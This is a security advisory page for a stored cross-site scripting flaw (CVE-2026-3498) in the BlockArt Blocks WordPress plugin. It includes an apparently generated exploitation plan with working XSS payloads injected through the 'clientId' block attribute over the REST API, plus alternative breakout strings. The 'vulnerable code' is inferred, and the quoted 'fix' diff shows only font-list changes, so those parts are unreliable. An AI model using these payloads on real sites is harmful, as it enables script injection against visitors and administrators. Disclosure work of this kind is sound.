CVE-2026-3498

BlockArt Blocks <= 2.2.15 - Authenticated (Author+) Stored Cross-Site Scripting via 'clientId' Block Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.3.0
Patched in
1d
Time to patch

Description

The BlockArt Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'clientId' block attribute in all versions up to, and including, 2.2.15. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.15
PublishedApril 10, 2026
Last updatedApril 11, 2026
Affected pluginblockart-blocks

What Changed in the Fix

Changes introduced in v2.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3498 (BlockArt Blocks) ## 1. Vulnerability Summary The **BlockArt Blocks** plugin (versions <= 2.2.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the `clientId` block attribute. Gutenberg blocks store configuration as JSON attributes within HTML co…

Show full research plan

Exploitation Research Plan: CVE-2026-3498 (BlockArt Blocks)

1. Vulnerability Summary

The BlockArt Blocks plugin (versions <= 2.2.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the clientId block attribute. Gutenberg blocks store configuration as JSON attributes within HTML comments in the post_content. When a post is rendered, the plugin extracts these attributes and uses them to generate the frontend HTML and/or JavaScript. The clientId attribute, which is typically used to uniquely identify block instances for CSS or JS targeting, is rendered on the page without sufficient sanitization or escaping (e.g., esc_attr() or esc_js()), allowing an authenticated user with Author-level privileges to inject arbitrary scripts.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API POST /wp-json/wp/v2/posts (or the standard Gutenberg editor save request).
  • Vulnerable Attribute: clientId within a BlockArt block's attribute JSON.
  • Vulnerable Block: Likely the Counter block (based on changelog.txt 2.2.15: "Fix - Sanitization and escaping of the counter block") or any block utilizing clientId for unique ID generation.
  • Authentication: Author-level access is required (or any role with the edit_posts capability).
  • Preconditions: The plugin must be active, and a post containing the malicious block must be published and viewed.

3. Code Flow (Inferred)

  1. Source: A user saves a post containing a block like <!-- wp:blockart/counter {"clientId":"<PAYLOAD>"} /-->.
  2. Processing: The WordPress Gutenberg parser extracts the JSON attributes.
  3. Rendering: In the plugin's PHP rendering logic (likely within includes/Blocks/ or a registered render_callback for the block), the code retrieves the clientId.
  4. Sink: The clientId is echoed into an HTML attribute (e.g., <div id="blockart-counter-CLIENTID">) or a JavaScript initialization block (e.g., new CountUp("blockart-counter-CLIENTID", ...)).
  5. Vulnerability: Lack of esc_attr() or esc_js() on the clientId value allows breakout from the intended context.

4. Nonce Acquisition Strategy

This exploit uses the WordPress REST API, which requires a wp_rest nonce for authenticated requests.

  1. Role Setup: Use an Author user.
  2. Login: Log in to the WordPress dashboard using the Author credentials.
  3. Acquisition: Navigate to the /wp-admin/ dashboard.
  4. Extraction: Use browser_eval to extract the REST nonce from the global wpApiSettings object.
    • JS Command: window.wpApiSettings.nonce

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

Log in as an Author and retrieve the _wpnonce for the REST API.

Step 2: Inject Payload via REST API

Create a new post containing a BlockArt Counter block with a malicious clientId.

  • HTTP Request:
    • Method: POST
    • URL: /wp-json/wp/v2/posts
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body (JSON):
      {
        "title": "XSS Test Post",
        "status": "publish",
        "content": "<!-- wp:blockart/counter {\"clientId\":\"\\\"><script>alert(document.domain)</script>\"} /-->"
      }
      

Step 3: Trigger Payload

Navigate to the URL of the newly created post in the browser.

Alternative Payloads (Context Dependent)

  • Attribute Breakout: \" onmouseover=\"alert(1)\" data-ignore=\"
  • Script Tag Context: '); alert(1); // (If clientId is passed directly into a JS constructor in the HTML).

6. Test Data Setup

  1. Plugin: Install and activate blockart-blocks version 2.2.15.
  2. User: Create a user with the Author role (e.g., username: attacker, password: password123).
  3. Target Block: The Counter block is the primary suspect. If unsuccessful, repeat with the Section or Column blocks.

7. Expected Results

  • The REST API should return a 201 Created status and a URL for the new post.
  • When navigating to the post URL, an alert box showing the document domain should appear.
  • Inspection of the HTML source should reveal the payload rendered unsanitized:
    <div id="block-blockart-counter-"><script>alert(document.domain)</script>">...</div>
    

8. Verification Steps

  1. Check Post Content: Use WP-CLI to verify the content was saved correctly:
    wp post get [POST_ID] --field=content
  2. Examine Rendered Output: Use http_request to fetch the post's frontend HTML and search for the raw payload:
    grep "<script>alert" response.html

9. Alternative Approaches

If the clientId is not directly editable via the standard block editor interface (due to JS validation), it can always be sent via a raw REST API request as shown in Step 5, because the server-side rendering logic is what lacks the sanitization, not the editor's save routine.

If the Counter block is not vulnerable, check these blocks (common in BlockArt):

  • blockart/section
  • blockart/column
  • blockart/heading

Check if the payload is rendered in the Admin Editor as well as the frontend, as this would allow an Author to target an Administrator (escalating the CVSS impact). To check this, navigate to the post's edit page in the dashboard: /wp-admin/post.php?post=[ID]&action=edit.

Research Findings
Static analysis — not yet PoC-verified

Summary

The BlockArt Blocks plugin for WordPress (versions up to and including 2.2.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the 'clientId' block attribute. This vulnerability allows authenticated users with Author-level access or higher to inject arbitrary web scripts into pages by providing a malicious payload for a block attribute that is rendered in the HTML or JavaScript context without sufficient sanitization or escaping.

Vulnerable Code

/* Inferred from changelog and research plan as specific PHP block rendering files were not provided in source */
/* Likely located in includes/Blocks/Counter.php or similar within the render_callback function */

$client_id = isset( $attributes['clientId'] ) ? $attributes['clientId'] : '';

// The vulnerability exists where the $client_id is used as an HTML ID or in a script block without escaping
$output .= '<div id="blockart-counter-' . $client_id . '">';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/blockart-blocks/2.2.15/assets/json/google-fonts.json /home/deploy/wp-safety.org/data/plugin-versions/blockart-blocks/2.3.0/assets/json/google-fonts.json
--- /home/deploy/wp-safety.org/data/plugin-versions/blockart-blocks/2.2.15/assets/json/google-fonts.json	2023-11-23 11:22:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/blockart-blocks/2.3.0/assets/json/google-fonts.json	2026-04-02 11:04:42.000000000 +0000
@@ -20,16 +20,22 @@
     "family": "Roboto",
     "variants": [
       "100",
-      "100italic",
+      "200",
       "300",
-      "300italic",
       "regular",
-      "italic",
       "500",
-      "500italic",
+      "600",
       "700",
-      "700italic",
+      "800",
       "900",
+      "100italic",
+      "200italic",
+      "300italic",
+      "italic",
+      "500italic",
+      "600italic",
+      "700italic",
+      "800italic",
       "900italic"
     ], ... (truncated)

Exploit Outline

1. Log in to the target WordPress site with Author-level credentials. 2. Capture the REST API nonce from the browser's global JavaScript variable `window.wpApiSettings.nonce`. 3. Send a POST request to `/wp-json/wp/v2/posts` with a JSON payload to create a new post. 4. In the post content, include a BlockArt block (such as the Counter block) with a manipulated `clientId` attribute containing an XSS payload: `<!-- wp:blockart/counter {"clientId":"\"><script>alert(document.domain)</script>"} /-->`. 5. Publish the post and obtain its public URL. 6. When any user (including administrators) visits the published post, the payload will execute in their browser context because the plugin renders the `clientId` value unsanitized within an HTML attribute.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.